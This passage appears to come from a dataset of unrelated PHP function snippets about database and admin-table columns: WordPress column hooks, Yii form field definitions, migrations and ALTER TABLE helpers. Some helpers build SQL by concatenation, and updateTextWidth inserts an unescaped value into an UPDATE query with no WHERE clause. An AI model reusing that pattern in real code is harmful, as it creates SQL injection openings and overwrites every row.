{\n\t\treturn;\n\t}\n\t$valid_layouts = responsive_get_valid_layouts();\n\t$layout = ( isset( $_POST['_responsive_layout'] ) && array_key_exists( $_POST['_responsive_layout'], $valid_layouts ) ? $_POST['_responsive_layout'] : 'default' );\n\n\tupdate_post_meta( $post->ID, '_responsive_layout', $layout );\n}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n \r\n 'id' => function (Form $column) {\r\n\r\n $column->title = Az::l('№');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'catalogId' => function (Form $column) {\r\n\r\n $column->title = Az::l('Каталог');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'name' => function (Form $column) {\r\n\r\n $column->title = Az::l('Магазин');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'title' => function (Form $column) {\r\n\r\n $column->title = Az::l('Краткая информация');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'url' => function (Form $column) {\r\n\r\n $column->title = Az::l('URL');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'visible' => function (Form $column) {\r\n\r\n $column->title = Az::l('Видимость');\r\n $column->dbType = dbTypeBoolean;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'image' => function (Form $column) {\r\n\r\n $column->title = Az::l('Логотип');\r\n $column->widget = ZImageWidget::class;\r\n $column->options = [\r\n\t\t\t\t\t\t'config' =>[\r\n\t\t\t\t\t\t\t'width' => '100px',\r\n\t\t\t\t\t\t\t'height' => '100px',\r\n\t\t\t\t\t\t],\r\n\t\t\t\t\t];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'new_price' => function (Form $column) {\r\n\r\n $column->title = Az::l('Цена');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'price_old' => function (Form $column) {\r\n\r\n $column->title = Az::l('Старая цена');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'currency' => function (Form $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'currencyType' => function (Form $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n $column->data = [\r\n 'before' => Az::l('Перед'),\r\n 'after' => Az::l('После'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'cart_amount' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество');\r\n $column->value = 0;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'delivery_type' => function (Form $column) {\r\n\r\n $column->title = Az::l('Тип доставки');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'delivery_price' => function (Form $column) {\r\n\r\n $column->title = Az::l('Цена доставки');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'review_count' => function (Form $column) {\r\n\r\n $column->title = Az::l('Количество отзывов');\r\n $column->value = 0;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'measure' => function (Form $column) {\r\n\r\n $column->title = Az::l('Мера');\r\n $column->data = [\r\n 'pcs' => Az::l('шт'),\r\n 'm' => Az::l('м'),\r\n 'l' => Az::l('л'),\r\n 'kg' => Az::l('кг'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'measureStep' => function (Form $column) {\r\n\r\n $column->title = Az::l('Шаг измерения');\r\n $column->data = [\r\n 'pcs' => Az::l('1'),\r\n 'm' => Az::l('0.1'),\r\n 'l' => Az::l('0.1'),\r\n 'kg' => Az::l('0.1'),\r\n ];\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'rating' => function (Form $column) {\r\n\r\n $column->title = Az::l('Рейтинг');\r\n $column->widget = ZKStarRatingWidget::class;\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'cash_type' => function (Form $column) {\r\n\r\n $column->title = Az::l('Тип наличных');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n \r\n 'action' => function (Form $column) {\r\n\r\n $column->title = Az::l('Действие');\r\n\r\n\r\n return $column;\r\n },\r\n \r\n\r\n ], $this->configs->replace);\r\n }", "public function updateColumn($table, $column, $type, $default) {\n global $wpdb;\n $table = $wpdb->prefix . $table;\n if (!empty($default)) {\n $wpdb->query(\"ALTER TABLE {$table} MODIFY COLUMN {$column} {$type} DEFAULT \\\"{$default}\\\";\");\n } else {\n $wpdb->query(\"ALTER TABLE {$table} MODIFY COLUMN {$column} {$type};\");\n }\n }", "function manage_posts_columns($columns) {\n\t$columns['recommend_post'] = __('Recommend post', 'tcd-w');\n\treturn $columns;\n}", "public static function updateTableColumnFormat($table, $column, $definition, $problems)\n {\n if (in_array('type', $problems)) {\n // Cahnge data type\n $type = '';\n switch ($definition['type']) {\n case 'int':\n case 'uint':\n $size = array_key_exists('size', $definition) ? $definition['size'] : 'medium';\n if (!$size) {\n $size = 'medium';\n }\n $s2s = array('small' => 'smallint', 'medium' => 'integer', 'big' => 'bigint');\n $type .= $s2s[$size];\n break;\n \n case 'string':\n $type .= 'character varying('.$definition['size'].')';\n break;\n \n case 'bool':\n $type .= 'boolean';\n break;\n \n case 'text':\n $type .= 'text';\n break;\n\n case 'mediumtext':\n $type .= 'text';\n break;\n \n case 'date':\n $type .= 'date';\n break;\n \n case 'datetime':\n $type .= 'timestamp';\n break;\n \n case 'time':\n $type .= 'time';\n break;\n }\n \n if ($type) {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' TYPE '.$type);\n }\n }\n \n // Options defaults\n foreach (array('null', 'primary', 'unique', 'autoinc') as $k) {\n if (!array_key_exists($k, $definition)) {\n $definition[$k] = false;\n }\n }\n \n // Change nullable\n if (in_array('null', $problems)) {\n if ($definition['null']) {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' DROP NOT NULL');\n } else {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' SET NOT NULL');\n }\n }\n\n // Change default\n if (in_array('default', $problems)) {\n if (array_key_exists('default', $definition)) {\n if (is_null($definition['default'])) {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' SET DEFAULT NULL');\n } elseif (is_bool($definition['default'])) {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' SET DEFAULT '.($definition['default'] ? 'true' : 'false'));\n } else {\n $s = DBI::prepare('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' SET DEFAULT :default');\n $s->execute(array(':default' => $definition['default']));\n }\n } else {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' DROP DEFAULT');\n }\n }\n \n // Change primary\n if (in_array('primary', $problems)) {\n if ($definition['primary']) {\n DBI::exec('ALTER TABLE '.$table.' ADD CONSTRAINT primary_'.$column.' PRIMARY KEY ('.$column.')');\n } else {\n DBI::exec('ALTER TABLE '.$table.' DROP CONSTRAINT primary_'.$column);\n }\n }\n \n // Change unique\n if (in_array('unique', $problems)) {\n if ($definition['unique']) {\n DBI::exec('ALTER TABLE '.$table.' ADD CONSTRAINT unique_'.$column.' UNIQUE ('.$column.')');\n } else {\n DBI::exec('ALTER TABLE '.$table.' DROP CONSTRAINT unique_'.$column);\n }\n }\n \n // Change autoinc\n if (in_array('autoinc', $problems)) {\n if ($definition['autoinc']) {\n self::createSequence($table, $column);\n } else {\n DBI::exec('ALTER TABLE '.$table.' ALTER COLUMN '.$column.' DROP DEFAULT'); // Should we drop the sequence as well ?\n }\n }\n }", "function yy_r36(){ $this->_retvalue = new SQL\\AlterTable\\AddColumn($this->yystack[$this->yyidx + -1]->minor, $this->yystack[$this->yyidx + 0]->minor); }", "function foool_partner_custom_columns_render($column_name, $post_id){\n\n switch ($column_name) {\n case 'thumb' : \n // Display Thumbnail\n $partner_thumbnail = wp_get_attachment_image_src(get_post_thumbnail_id($post_id),'large');\n if (!empty($partner_thumbnail))\n echo '<img src=\"'.$partner_thumbnail[0].'\" alt=\"\" style=\"max-width:100%;\"/>';\n break;\n }\n}", "protected function initColumns()\n {\n if (empty($this->columns)) {\n $this->guessColumns();\n }\n foreach ($this->columns as $i => $column) {\n if (is_string($column)) {\n $column = $this->createDataColumn($column);\n } else {\n $column = Yii::createObject(array_merge([\n 'class' => $this->dataColumnClass ?: DataColumn::className(),\n 'grid' => $this,\n ], $column));\n }\n if (!$column->visible) {\n unset($this->columns[$i]);\n continue;\n }\n $this->columns[$i] = $column;\n }\n }", "protected function initColumns()\n {\n if (empty($this->columns)) {\n $this->guessColumns();\n }\n\n foreach ($this->columns as $i => $column) {\n if (is_string($column)) {\n $column = $this->createDataColumn($column);\n } else {\n $column = Yii::createObject(array_merge([\n 'class' => $this->dataColumnClass ?: DataColumn::className(),\n 'grid' => $this,\n ], $column));\n }\n if (!$column->visible) {\n unset($this->columns[$i]);\n $this->allColumns[$i] = $column;\n continue;\n }\n $this->columns[$i] = $column;\n $this->allColumns[$i] = $column;\n }\n }", "public function change()\n {\n $this->table('mail_queues')\n ->addColumn('id', 'uuid', [\n 'default' => null,\n 'limit' => null,\n 'null' => false,\n ])\n ->addPrimaryKey(['id'])\n ->addColumn('template', 'string', [\n 'default' => \"default\",\n 'limit' => 50,\n 'null' => false,\n ])\n ->addColumn('toUser', 'string', [\n 'limit' => 250,\n 'null' => false,\n ])\n ->addColumn('subject', 'string', [\n 'limit' => 250,\n 'null' => false,\n ])\n ->addColumn('viewvars', 'text', [\n 'default' => null,\n 'limit' => null,\n 'null' => true,\n ])\n ->addColumn('body', 'text', [\n 'default' => null,\n 'limit' => null,\n 'null' => false,\n ])\n ->addColumn('created_at', 'timestamp', [\n 'default' => 'CURRENT_TIMESTAMP',\n 'limit' => null,\n 'null' => false,\n ])\n ->create();\n }", "function manage_units_columns( $column ) {\n\t\n\t\tglobal $post;\n\n\t\tswitch( $column ) {\n\n\t\t\tcase 'rent' :\n\n\t\t\t\t$rent = get_post_meta( $post->ID, 'rent', true );\n\t\t\t\tif (!empty($rent)) {\n\t\t\t\t\tprintf( __( '$%s' ), $rent );\n\t\t\t\t} else {\n\t\t\t\t\tprintf( '<i class=\"fa fa-exclamation-circle\"></i>' );\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'status' :\n\n\t\t\t\t$status = get_post_meta( $post->ID, 'status', true );\n\t\t\t\tprintf( $status );\n\n\t\t\t\tbreak;\n\n\t\t\tdefault :\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function column()\r\n {\r\n if (!empty($this->configs->column))\r\n return $this->configs->column;\r\n\r\n return ZArrayHelper::merge(parent::column(), [\r\n\r\n 'program' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Программа Обучения');\r\n $column->tooltip = Az::l('Программа Обучения Стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->data = [\r\n 'intern' => Az::l('Стажировка'),\r\n 'doctors' => Az::l('Докторантура'),\r\n 'masters' => Az::l('Магистратура'),\r\n 'qualify' => Az::l('Повышение квалификации'),\r\n ];\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n //start|AlisherXayrillayev|2020-10-16\r\n //$column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n return $column;\r\n },\r\n\r\n 'currency' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Валюта');\r\n $column->tooltip = Az::l('Валюта');\r\n $column->dbType = dbTypeString;\r\n $column->data = CurrencyData::class;\r\n $column->widget = ZKSelect2Widget::class;\r\n $column->rules = ZRequiredValidator::class;\r\n //start|AlisherXayrillayev|2020-10-16\r\n $column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'email' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('E-mail');\r\n $column->tooltip = Az::l('Электронный адрес стипендианта (E-mail)');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorEmail,\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n $column->changeSave = true;\r\n return $column;\r\n },\r\n\r\n 'passport' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Серия и номер паспорта');\r\n $column->tooltip = Az::l('Серия и номер паспорта стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 'ready',\r\n 'ready' => 'AA-9999999',\r\n ],\r\n ];\r\n \r\n return $column;\r\n },\r\n\r\n\r\n 'passport_give' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Когда и кем выдан');\r\n $column->tooltip = Az::l('Когда и кем выдан пасспорт');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'birthdate' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Дата рождение');\r\n $column->tooltip = Az::l('Дата рождение стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->auto = true;\r\n $column->value = function (EyufScholar $model) {\r\n return Az::$app->cores->date->fbDate();\r\n };\r\n $column->widget = ZKDatepickerWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'user_id' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Пользователь');\r\n $column->tooltip = Az::l('Пользователь');\r\n $column->dbType = dbTypeInteger;\r\n $column->showForm = false;\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'place_country_id' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Страна обучение');\r\n $column->tooltip = Az::l('Страна обучения пользователя');\r\n $column->dbType = dbTypeInteger;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'status' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Статус');\r\n $column->tooltip = Az::l('Статус стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->data = [\r\n 'register' => Az::l('Стипендиант зарегистрирован'),\r\n 'docReady' => Az::l('Все документы загружены'),\r\n 'stipend' => Az::l('Утвержден отделом стипендий'),\r\n 'accounter' => Az::l('Утвержден отделом бухгалтерии'),\r\n 'education' => Az::l('Учеба завершена'),\r\n 'process' => Az::l('Учеба завершена'),\r\n ];\r\n\r\n //start|JakhongirKudratov|2020-10-27\r\n\r\n $column->event = function (EyufScholar $model) {\r\n Az::$app->App->eyuf->scholar->sendNotify($model);\r\n\r\n };\r\n\r\n //end|JakhongirKudratov|2020-10-27\r\n\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n //start|AlisherXayrillayev|2020-10-16\r\n $column->ajax = false;\r\n //end|AlisherXayrillayev|2020-10-16\r\n\r\n $column->showForm = false;\r\n $column->width = '200px';\r\n $column->hiddenFromExport = true;\r\n /*$column->roleShow = [\r\n 'scholar',\r\n 'user',\r\n 'guest',\r\n 'admin',\r\n 'accounter'\r\n ];*/\r\n\r\n return $column;\r\n },\r\n\r\n 'age' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Возраст');\r\n $column->tooltip = Az::l('Возраст стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n $column->autoValue = function (EyufScholar $model) {\r\n return Az::$app->App->eyuf->user->getAge($model->birthdate);\r\n };\r\n\r\n $column->rules = [\r\n [\r\n validatorInteger,\r\n ],\r\n ];\r\n\r\n\r\n $column->showForm = false;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_start' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Начала обучения');\r\n $column->tooltip = Az::l('Начала обучения стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->widget = ZKDatepickerWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 2,\r\n 'pickerButton' => [\r\n 'icon' => '',\r\n ],\r\n 'pluginOptions' => [\r\n 'autoclose' => true,\r\n 'format' => 'dd-M-yyyy',\r\n ],\r\n 'hasIcon' => true,\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_end' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Завершение обучения');\r\n $column->tooltip = Az::l('Завершение обучения стипендианта');\r\n $column->dbType = dbTypeDate;\r\n $column->widget = ZKDatepickerWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'type' => 2,\r\n 'pickerButton' => [\r\n 'icon' => '',\r\n ],\r\n 'pluginOptions' => [\r\n 'autoclose' => true,\r\n 'format' => 'dd-M-yyyy',\r\n ],\r\n 'hasIcon' => true,\r\n ],\r\n ];\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'user_company_id' => function (FormDb $column) {\r\n\r\n $column->index = true;\r\n $column->title = Az::l('Вышестоящая организация');\r\n $column->tooltip = Az::l('Вышестоящая организация');\r\n $column->dbType = dbTypeInteger;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n ];\r\n $column->widget = ZKSelect2Widget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'company_type' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Тип рабочего места');\r\n $column->tooltip = Az::l('Тип рабочего места стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_area' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Область знаний');\r\n $column->tooltip = Az::l('Область знаний стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_sector' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Сектор образования');\r\n $column->tooltip = Az::l('Сектор образования стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_type' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Направление образования');\r\n $column->tooltip = Az::l('Направление образования стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'speciality' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Специальность');\r\n $column->tooltip = Az::l('Специальность стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'edu_place' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Место обучения(ВУЗ)');\r\n $column->tooltip = Az::l('Место обучения(ВУЗ) стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'finance' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Источник финансирования');\r\n $column->tooltip = Az::l('Источник финансирования стипендианта');\r\n $column->dbType = dbTypeInteger;\r\n //start|AsrorZakirov|2020-10-25\r\n\r\n $column->showForm = false;\r\n\r\n//end|AsrorZakirov|2020-10-25\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'address' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Постоянный адрес проживания');\r\n $column->tooltip = Az::l('Постоянный адрес проживания стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'phone' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Сотовый телефон');\r\n $column->tooltip = Az::l('Сотовый телефон стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorUnique,\r\n ],\r\n ];\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'ready' => '99-999-99-99',\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'home_phone' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Домашний Телефон');\r\n $column->tooltip = Az::l('Домашний Телефон Стипендианта');\r\n $column->dbType = dbTypeString;\r\n $column->widget = ZInputMaskWidget::class;\r\n $column->options = [\r\n 'config' => [\r\n 'ready' => '99-999-99-99',\r\n ],\r\n ];\r\n $column->hiddenFromExport = true;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'position' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Должность');\r\n $column->tooltip = Az::l('Должность стипендианта');\r\n $column->dbType = dbTypeString;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'experience' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Стаж работы (месяц)');\r\n $column->tooltip = Az::l('Стаж работы стипендианта (месяц)');\r\n $column->dbType = dbTypeString;\r\n $column->rules = [\r\n [\r\n 'zetsoft\\\\system\\\\validate\\\\ZRequiredValidator',\r\n ],\r\n [\r\n validatorInteger,\r\n ],\r\n ];\r\n $column->widget = ZKTouchSpinWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n 'completed' => function (FormDb $column) {\r\n\r\n $column->title = Az::l('Обучение завершено?');\r\n $column->tooltip = Az::l('Завершено ли обучение стипендианта?');\r\n $column->dbType = dbTypeBoolean;\r\n $column->widget = ZKSwitchInputWidget::class;\r\n\r\n return $column;\r\n },\r\n\r\n\r\n ], $this->configs->replace);\r\n }", "public function change()\n {\n $table = $this->table('summary');\n $table->addColumn('batch_id', 'biginteger', [\n 'limit' => 14,\n 'null' => false,\n 'default' => 0\n ]);\n $table->update();\n }", "public function column_autoupdates($theme)\n {\n }", "public function column_plugins($blog)\n {\n }", "function dunkdog_player_edit_columns($cols) { \n\t$cols = array('cb' => '<input type=\"checkbox\" />',\n\t\t'headshot' => 'Headshot',\n\t\t'title' => 'Title', \n\t\t'taxonomy-dd-class' => 'Class',\n \t\t'taxonomy-dd-height' => 'Height',\n \t\t'taxonomy-dd-weight' => 'Weight',\n \t\t'taxonomy-dd-position' => 'Player Position',\n \t\t'high_school' => 'High School',\n \t\t'travel_team' => 'Travel',\n \t\t'college_team' => 'College',\n \t\t'news' => 'News'\n \t\t);\n return $cols;\n}", "public function buildPreview(){\n\t\t//empty, every column needs to do this on there own.\n\t}", "public function modifyColumn($tableName, $schemaName, $column){ }", "function changeColumn($table, $oldCol, $newCol, $type=false);", "public function column_style() {\n\t\techo '<style>#registered{width: 7%}</style>';\n\t\techo '<style>#wp-last-login{width: 7%}</style>';\n\t\techo '<style>.column-wp_capabilities{width: 8%}</style>';\n\t\techo '<style>.column-blogname{width: 13%}</style>';\n\t\techo '<style>.column-primary_blog{width: 5%}</style>';\n\t}", "function wp_regenthumbs_stamina_columns($defaults) {\r\n\t$defaults['regenthumbs-stamina'] = 'RegenThumbs Stamina';\r\n\treturn $defaults;\r\n}", "public function columnCode(){\n $columnNames = [];\n $names = [];\n $codes = [];\n $columns = DB::table('helpers')->pluck('helper');\n foreach ($columns as $key=>$column){\n $columnNames[$key] = unserialize($column);\n }\n for($i=0;$i<count($columnNames);$i++){\n for($j=0;$j<count($columnNames[$i]);$j++){\n\n array_push($names,$columnNames[$i][$j]);\n }\n\n }\n array_push($names,'hd_image');\n array_push($names,'ld_image');\n array_push($names,'datasheet');\n array_push($names,'footprint');\n array_push($names,'manufacturer_part_number');\n array_push($names,'quantity_available');\n array_push($names,'unit_price');\n array_push($names,'manufacturer');\n array_push($names,'description');\n array_push($names,'packaging');\n array_push($names,'series');\n array_push($names,'part_status');\n array_push($names,'minimum_quantity');\n array_push($names,'original');\n\n $names = array_unique($names);\n $names = array_values($names);\n\n\n for($t=0;$t<count($names);$t++){\n $codes[str_random(4)] = $names[$t];\n }\n\n\n\n DB::table('column_names')->update(['column_name'=>serialize($codes)]);\n\n\n }", "public function custom_column( $column_name, $post_id ){\r\n if ($column_name == 'template') {\r\n $settings = $this->data->get_slider_settings($post_id);\r\n echo ucwords($settings['template']);\r\n }\r\n if ($column_name == 'images') {\r\n echo '<div style=\"text-align:center; max-width:40px;\">' . $this->data->get_slide_count( $post_id ) . '</div>';\r\n }\r\n if ($column_name == 'id') {\r\n $post = get_post($post_id);\r\n echo $post->post_name;\r\n }\r\n if ($column_name == 'shortcode') { \r\n $post = get_post($post_id);\r\n echo '[cycloneslider id=\"'.$post->post_name.'\"]';\r\n } \r\n }", "function add_columns_init() {\r\n\r\n\t\t// don't add the column for any taxonomy that has specifically\r\n\t\t// disabled showing the admin column when registering the taxonomy\r\n\t\tif( ! isset( $this->tax_obj->show_admin_column ) || ! $this->tax_obj->show_admin_column )\r\n\t\t\treturn;\r\n\r\n\t\t// also grab all the post types the tax is registered to\r\n\t\tif( isset( $this->tax_obj->object_type ) && is_array( $this->tax_obj->object_type ) ) foreach ( $this->tax_obj->object_type as $post_type ){\r\n\r\n\t\t\t//add some hidden data that we'll need for the quickedit\r\n\t\t\tadd_filter( \"manage_{$post_type}_posts_columns\", array( $this, 'add_tax_columns' ) );\r\n\t\t\tadd_action( \"manage_{$post_type}_posts_custom_column\", array( $this, 'custom_tax_columns' ), 99, 2);\r\n\r\n\t\t}\r\n\r\n\t}", "function updateTextWidth($p_id, $p_width) {\n\t$con = open_connection();\n\tmysqli_query($con,\"UPDATE text SET width = '\". $p_width .\"'\");\n\tmysqli_close($con);\n}", "function get_customizer_columns_user ()\t\r\n\t{\r\n\t\t\r\n\t\tglobal $xoouserultra;\r\n\t\t\r\n\t\t$cols = $this->get_amount_of_cols_by_template();\r\n\t\t\r\n\t\t$html = '';\r\n\t\t\r\n\t\t\r\n\t\t $dimension_style = $xoouserultra->userpanel->get_width_of_column($cols);\r\n\t\t\t\t\r\n\t\tif($cols==1 || $cols==2 || $cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .= ' <div class=\"col1\" '. $dimension_style.'> \r\n\t\t\t\t\t\t<h3 class=\"colname_widget\">'.__('Column 1','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-1\">\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t '.$this->get_profile_column_widgets(1).'\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t</ul> \r\n\t\t\t\t\t </div>';\r\n\t\t}\r\n\t\t\t\t \r\n\t\tif($cols==2 || $cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .=' <div class=\"col2\" '. $dimension_style.'> \r\n\t\t\t\t\t\t<h3 class=\"colname_widget\">'. __('Column 2','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-2\">\r\n\t\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t '.$this->get_profile_column_widgets(2).'\r\n\t\t\t\t\t\t </ul>\r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t</div>';\r\n\t\t}\t\t\t\r\n\t\t\t\t\t\r\n\t\tif($cols==3)\r\n\t\t{\r\n\t\t\r\n\t\t\t$html .='<div class=\"col3\" '. $dimension_style.'> \r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t <h3 class=\"colname_widget\">'.__('Column 3','xoousers').'</h3> \r\n\t\t\t\t\t\t <ul class=\"droptrue\" id=\"uultra-prof-customizar-3\">\r\n\t\t\t\t\t\t\t\t '.$this->get_profile_column_widgets(3).'\r\n\t\t\t\t\t\t\t </ul>\r\n\t\t\t\t\t\t\t\t \r\n\t\t\t\t\t </div>';\r\n\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t$html .= $this->uultra_plugin_editor_form();\t\t \r\n\t\t\r\n\t\treturn $html;\r\n\t\r\n\t\r\n\t}", "abstract protected function columns();", "public function morph()\n {\n $this->morphTable('cpfa227', [\n 'columns' => [\n new Column(\n 'recnum',\n [\n 'type' => Column::TYPE_BIGINTEGER,\n 'notNull' => true,\n 'autoIncrement' => true,\n 'size' => 1,\n 'first' => true\n ]\n ),\n new Column(\n 'filial',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 2,\n 'after' => 'recnum'\n ]\n ),\n new Column(\n 'numero',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 8,\n 'after' => 'filial'\n ]\n ),\n new Column(\n 'numcaixa',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 4,\n 'after' => 'numero'\n ]\n ),\n new Column(\n 'numredc',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 4,\n 'after' => 'numcaixa'\n ]\n ),\n new Column(\n 'cupominicial',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 8,\n 'after' => 'numredc'\n 